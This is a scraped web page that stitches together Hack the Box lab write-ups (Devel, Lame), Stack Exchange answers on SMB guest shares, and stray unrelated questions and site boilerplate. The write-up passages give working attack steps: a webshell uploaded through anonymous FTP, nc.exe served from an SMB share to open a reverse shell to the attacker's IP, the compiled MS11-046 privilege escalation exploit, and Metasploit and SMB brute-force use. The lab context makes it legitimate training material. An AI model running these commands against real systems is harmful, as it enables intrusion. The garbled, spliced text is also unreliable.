So if we can’t execute malicous code directly on the disk of the machine, how else can we get our code to run? It only takes a minute to sign up. ( Log Out /  I created an aspx payload through msfvenom, but I was unable to get a reverse shell this way. Looking at the results, we do see the SMB request in our terminal window hosting nc.exe. By using our site, you acknowledge that you have read and understand our Cookie Policy, Privacy Policy, and our Terms of Service. Hack the box is a online pentest lab where you can practice and expertise your pentesting skills. My wife's contributions are not acknowledged in our group's paper that has me as coauthor. ( Log Out /  While Watson may take a little bit of work to get compiled, the benefits are great as it automates the post exploitation enumeration process. sysinfo. You should try mount -t cifs ///sharefolder -o username=guest,password="" /home/myuser/mountpoint. In my case this syntax was working great on smbclient Version 4.3.11-Ubuntu to copy a file on another linux server using smb share: I think it works with Windows server w/o AD. A quick whoami command confirms that we now have full SYSTEM access. Let’s go into Build, and launch Configuration Manager. Let’s view the source code to get an idea of how the exploit works. SMB … Well, appears it's not possible. Let’s head back to the cmdasp webshell and run the following command. $smbd --version. Fill in your details below or click an icon to log in: You are commenting using your WordPress.com account. We can see ftp and smb services on the results. We see a TON of exploits available on this box. can be resolved by setting the FTP mode to binary before uploading the nc.exe file, this saves you the hassle of setting up the SMB share and running it from there. Why is character "£" in a string interpreted strange in the command cut? Linux is a registered trademark of Linus Torvalds. We also see that we’ve received a reverse shell in our Netcat listener! your sharefolder and all higher level folder must be +r+x at least. Surely there’s some sort of old Win7 privilege escalation exploit that would work on an unpatched box.. There’s a tool called Watson that will scan a system to find any local privilege escalation exploits that may exist on a machine. nmap -T4 -sV -sC 10.10.10.5 -oA /nmap From the output of the scan, we see that FTP on port 21 is open to anonymous login. Let’s open a browser and see what we see at that page. CMD: ftp 10.10.10.3 There is another service “SMB” which also has anonymous login and let’s try to search if we can get any data from it. Scanning for Access with smb_login A common situation to find yourself in is being in possession of a valid username and password combination, and wondering where else you can use it. With the project loaded, let’s go to Project, and select Watson Properties. To learn more, see our tips on writing great answers. Unix & Linux Stack Exchange works best with JavaScript enabled, Start here for a quick overview of the site, Detailed answers to any questions you might have, Discuss the workings and policies of this site, Learn more about Stack Overflow the company, Learn more about hiring developers or posting ads with us. For some reason even though you are uploading an exe the ftp command seems to default to ASCII for some odd reason. This means we’ll need to dig through the Commits on the Github to download the original release of the application if we want to run it on our target machine. Usually, this command will also return a list of installed patches, but nothing was returned here. Even when you can’t write and execute code directly from disk, remember that there are other methods to pull down files. Let’s start the enumeration with nmap scan and we get the below results. We also find that the author provides compiling instructions. We see that we’re now presented with a shell in the System32 directory.\\10.10.14.45\share\MS11-046.exe. I chose to try hosting my own SMB server first. If you get fail to enumerate the vulnerable state of SMB or found a patched version of SMB in the target machine, then we have “Brute force” as another option to gain unauthorized access of remote machine. We’ll change the Configuration to Release, and Platform to x86, the same as our victim machine. So we found that we can upload our own webpage to this IIS webserver, and then execute that webpage by browsing to it. Fill in your details below or click an icon to log in: You are commenting using your WordPress.com account. Search for the “usermap_script” in metasploit and the below description occurs. We also see that there are some files present; iisstart.html & welcome.png. they're used to gather information about the pages you visit and how many clicks you need to accomplish a task. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. Now we know how to compile the Watson script. Since the exploit is listed in Exploit-DB, we should have it locally on our box already. To start out, let’s run a nmap scan to see what ports are open on the box. This is the write-up for the retired Hack the Box machine — Lame. We also see that there are some files present; iisstart.html & welcome.png. We use analytics cookies to understand how you use our websites so we can make them better, e.g. There is another service “SMB” which also has anonymous login and let’s try to search if we can get any data from it. My thought was perhaps we could execute a malicious file from a network share, and load it straight into memory. Why do SSL certificates have country codes (or other metadata)? By default security = user option will be enabled under Standalone Server option .User level of security asks for username/passwd in windows while if you keep the security = share it wont ask for credentials or can access share without password. Even though it is not defined, it is disabled by default and prevents enumeration of the share. Great! Let’s get some information about the computer to see what we’re working with. Port 80 is open and running Microsoft IIS 7.5, a webserver. Let’s try to dig in with anonymous ftp and smb as it can fetch some interesting data. The syntax for the -U (user) option is this: does windows share permit folder read/write for guests? Change ), You are commenting using your Twitter account. Let me first try to login with Anonymous ftp and the result shows no files are available with the anonymous login. Telling my supervisor about my medical condition, Converse to Erdős' conjecture on arithmetic progressions. We also need to adjust the architecture to match our victim machine. Let’s spin up the server to a fileshare named “share” using the following command. SMB login via Brute Force. This option can also be appended to your local share definitions. How to lead with clarity and empathy in the remote world, Creating new Help Center documents for Review queues: Project overview. cp /usr/share/webshells/aspx/cmdasp.aspx . How would we extract elements of a list greater than a certain value? By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy. Lets locate that and copy it into our current working directory.cp /usr/share/doc/python-impacket/examples/smbserver.py . We’ll need to make sure to compile Watson using the correct configuration for our target machine. How can I make a long wall perfectly level? To start out, let’s run a nmap scan to see what ports are open on the box. Thanks for reading my writeup, feel free to contact us for any queries or suggestions. There is a well known exploit available in metasploit that is used to exploit the smb protocol. UNIX is a registered trademark of The Open Group. Hi, Thank you for the write-up, it was very helpful! Ukulele: how to avoid hurting my hand on the nut? Microsoft probably thought this is clever.. I set my Windows machine up with the Visual Studio Community edition, and opened Watson.sln from the Github page. Let’s run dir to see if we actually have command execution, and if we do, what directory we’re in. Change ), Click to share on Twitter (Opens in new window), Click to share on Facebook (Opens in new window), Click to share on LinkedIn (Opens in new window), Click to share on Telegram (Opens in new window), Click to share on WhatsApp (Opens in new window). But when I'm trying to access shared that have no password protection (public shares), smbclient prints: I'm trying to access Windows 7 from my Ubuntu 12.10. This option can also be appended to your local share definitions. We’ll need to adjust the Target Framework to patch our target machine. No matter what I tried, I kept running into an error.. “This program cannot be run in DOS mode”. The exploit is usermap_script and is available in the metasploit. Asking for help, clarification, or responding to other answers. From the output of the scan, we see that FTP on port 21 is open to anonymous login. From the above pic, we can get to access openly available files. nc -nvlp 8080, Everything’s set up! It is a Linux type machine and is rated as easy. Is the election apparatus in Georgia run by Democrats? ( Log Out /  check for sure that the full sharepath is accessible. python smbserver.py share smb, With our SMB server in place hosting the Windows binary to Netcat, we’re almost ready to instruct the webserver to connect to us. The output at the bottom of the window should show you the file location this was built to. This article describes information about Windows disabling guest access in SMB2 by default, and provides settings to enable insecure guest logons in Group Policy. Alright cool, we see the page. smb-share connection time increases each reboot on windows PE, Accessing Windows 10 public share from Ubuntu without username or password. This is a super awesome tool, but there are a couple caveats. This is an old question, but I fixed this problem for guest account access by enabling the following policy in Group Policy Management: Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Accounts: Guest account status. In order to use this SMB server, we need to first create a directory to host as a fileshare. Alright, so we’re working with a 32-bit Windows 7 machine. Let’s run whoami to see what rights we have. If you have a database plugin loaded, successful logins will be stored in it for future reference and usage. Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems. Could you check which security option is given in your smb.conf.By default security = user option will be enabled under Standalone Server option.User level of security asks for username/passwd in windows while if you keep the security = share it wont ask for credentials or can access share without password. Perfect! This was a simple box, but I did run into a curve-ball when getting my initial foothold. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. We see that the box is running .NET 2.0, 3.0, and 3.5. smbclient fails with message 'protocol negotiation failed: NT_STATUS_INSUFFICIENT_RESOURCES', what does it mean and how to fix it? ... we will get a meterpreter session at Metasploit. Analytics cookies. ( Log Out /  Let’s copy this down to our present working directory. Change ), Hack the Box Write-Up: DEVEL (Without Metasploit), Hack the Box Write-Up: Arctic (Without Metasploit) | Infinite Logins, Hacking Methodology Cheatsheet | Infinite Logins, Turning Command Execution to Reverse Shell. Set the target address ( 10.10.10.3) as RHOSTS and RPORT can remain the same. How do I add a dot between table number and sub-table number? We can now access the “user.txt” and “root.txt” flag…. So we’ve got the ability to execute commands on the system. Remember how we saw that file on the FTP server from the nmap output? I’ve installed this on my Windows box. Does this mean that the machine is missing all patches? 09/08/2020; 3 minutes to read; In this article. I’m rating this as an easy box since the privilege escalation piece was simple when utilizing a kernel exploit, and the the initial way in isn’t super realistic. Created my own malicous exe via msfvenom, transferred that to the box, and attempted to execute locally on the disk. gedit 40564.c, Using those instructions, let’s compile the code.i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32, Now that we have our privesc executable, let’s move that into our SMB file-share so we can transfer it to the victim.mv MS11-046.exe smb, Back in our reverse shell, let’s execute our payload. I’ll name mine something simple, “smb”.mkdir smb, Now let’s find the Windows binary for Netcat and copy it to this directory we just made.cp /usr/share/windows-binaries/nc.exe smb, Looks like we’ve got everything in place! How has the first atomic clock been calibrated? Finally, let’s select the Build drop-down again and click Build Watson. Yes, it helps. nmap -T4 -sV -sC 10.10.10.5 -oA /nmap. Port 80 is open and running Microsoft IIS 7.5, a webserver. So we have command execution and can communicate to/from the box, but how do we turn this into an interactive reverse shell? Change ), You are commenting using your Google account. if your mount point is /home/myuser/mountpoint and shared folder is named sharefolder. Let’s start the attack with the “run” command. And we got the “ROOT” shell. Metasploitable 2 Exploitability Guide. (EU). Sorry for that comment, if something goes wrong. Let’s open a browser and see what we see at that page. From Ubuntu 10.10, how do you connect to a Windows 7 share without a password setup? Let’s find it on our system and copy it to our present working directory. This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target. Finally, I found Kali has a built-in aspx webshell located in our webshells directory. The output confirms that our box received a ping request from the webserver — great! Terraforming Mars using a combination of aerogel and GM microbes? What happens with your ticket if you are denied boarding due to a temperature check? If a creator of a Shield Guardian gives the control amulet to the Shield Guardian, what would happen? We see that we’re not SYSTEM, so our job isn’t done yet.. We’re on the machine, but we don’t have complete control of it yet. IIS runs code in asp/aspx, so my next thought was to create an asp/aspx payload to get a reverse shell connection. Could you check which security option is given in your smb.conf. Guest access in SMB2 disabled by default in Windows. site design / logo © 2020 Stack Exchange Inc; user contributions licensed under cc by-sa. You can download the tool from https://github.com/rasta-mouse/Watson. Secondly, the current version of Watson is not compatible with Windows 7. Metasploit’s smb_login module will attempt to login via SMB across a provided range of IP addresses. Let’s connect to the FTP client & see if we can add files to the website.echo Hello > test.txtftp 10.10.10.5anonymousanonymousput test.txt, Now let’s attempt to browse to our test file.http://10.10.10.5/test.txt. Answering quite an old question, I can do this using smbclient like this: This is from a fedora 21 host connecting to a solaris clone (omnios), but should be the same to a windows host. Should I speak up for her? Let’s run a quick ping test to make sure we’re able to communicate from this system to ours. I started a quick tcpdump to capture ICMP requests to/from my VPN connection using the below command, and then execute the ping command in our webshell.tcpdump -i tun0 -n icmp. I use a windows 2003 and XPs shares w/o any pass. What are good resources to learn to code for matter modeling? Back in our reverse shell, let’s query the registry to see what version of .NET we’re running.reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP". As the level suggests, this box was pretty easy to exploit and is a pure CVE based box. After researching each one, I decided to try out MS11-046. Let’s copy that over to our Kali machine, host it in the SMB fileshare directory, and then execute it on our victim the same way we did Netcat.\\10.10.14.45\share\Watson.exe. It is a command execution vulnerability that targets smb (3.0.X) version. How to view and browse windows shared folders in entire local network? Let’s start the metasploit framework using msfconsole and use the exploit. ( Log Out /  rev 2020.11.5.37959, The best answers are voted up and rise to the top. Change ), You are commenting using your Twitter account. When accessing SMB shared that are password-protected, smbclient works just fine. After viewing the page source, we see that the website is just pulling up welcome.png as the image. Kali has a built-in SMB server through a python script. ( Log Out /  Let me first try to login with Anonymous ftp and the result shows no files are available with the anonymous login. The error you got when trying to run nc.exe directly (This program cannot be run in DOS mode”.) ( Log Out /  One tip, however, you don’t need to set up an SMB share to run nc.exe. Remove live essentials from the Windows 7 server and try again, it's an old bug. This is the command I use, but you can use whatever you like best. which version of samba you use? Making statements based on opinion; back them up with references or personal experience. Why didn't the Imperial fleet detect the Millennium Falcon on the back of the star destroyer? If all goes well, we should receive a reverse shell back.\\10.10.14.45\share\nc.exe -e cmd.exe 10.10.14.45 8080. ( Log Out /  After viewing the page source, we see that the website is jus… First, it’s written in C#. Thanks for contributing an answer to Unix & Linux Stack Exchange! This means that we’ll need to open Watson in Visual Studio, an application not available in Kali Linux. Change ), You are commenting using your Google account. This is the command I use, but you can use whatever you like best. Change ), You are commenting using your Facebook account. Let’s connect back to the FTP client and upload this webshell.ftp 10.10.10.5anonymousanonymousput cmdasp.aspx, If things worked, we should be able to browse to this webshell by navigating to the following page: http://10.10.10.5/cmdasp.aspx. The latest installed on our victim is 3.5, so this is what we’ll select. Just with guest acc enabled. Transferred the windows binary for nc.exe and attempted to execute locally on the disk. Change ), You are commenting using your Facebook account. But first, we must spin up a Netcat listener to catch the connection request. Stack Exchange network consists of 176 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers. Why do aircraft of the same model get progressively larger engines as they mature? Advantages, if any, of deadly military training? searchsploit ms11-046locate exploits/windows_x86/local/40564.ccp /usr/share/exploitdb/exploits/windows_x86/local/40564.c .

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